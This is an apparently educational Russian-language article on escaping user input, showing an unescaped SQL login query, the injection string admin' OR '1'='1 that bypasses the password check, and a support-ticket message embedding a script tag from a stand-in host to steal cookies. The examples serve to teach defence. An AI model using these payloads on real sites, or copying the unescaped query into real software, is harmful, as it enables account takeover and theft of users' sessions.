Экранирование введенных данных и безопасность сайта
Экранирование введенных пользователем данных является основной составляющей для предотвращения внедрения вредоносного скрипта и безопасности сайта. Важно понимать, что даже самые современные технические решения можно обойти, если не выполнять основные правила.
Основные возможности для внедрения скрипта:
- через комментарии к статьям;
- через тикеты при обращении в службу техподдержки;
- через формы для ввода (обратная связь, авторизация, подписка и прочее).
Как же это происходит?
Пример при авторизации.
Если сайт не использует готовые решения в виде фреймворка и не производит экранирование, то злоумышленнику достаточно дополнить логин командой SQL запроса, чтобы попасть в админскую панель.
Допустим у нас есть такая проверка на логин и пароль и при этом не использовано экранирование введенных данных.
"SELECT * FROM users WHERE login='$login' AND password='$password'"
В таком случае пользователю достаточно вместо логина ввести:
admin' OR '1'='1
Этого достаточно, чтобы сработало условие и пароль уже не будет иметь значение. Это именно тот случай, когда экранирование строго обязательно.
Пример при написании тикета.
Основная опасность заключается в прикрепленных файлах, которые отображаются прямо на странице с просмотром тикета у пользователя. Как вариант можно ограничить загрузку файлов только изображениями.
Однако, это не решает всех проблем. Злоумышленник может сделать так:
Здравствуйте. У меня проблема с сайтом.<script src='http://vvvirus.vv/vscript.js'></script>
Естественно после публикации тикета он отобразится в списке у пользователя и помимо отображения текста сработает скрипт, указанный в сообщении. А содержимое скрипта может быть самым различным. В основном они работают с cookies'ами пользователя, что может позволить проникнуть в любую директорию сайта.
Не забывайте про безопасность своего сайта, но помните, что самую главную уязвимость представляет сам человек, ведь средства социальной инженерии никто не отменял. А это, между прочим, самый популярный способ взлома.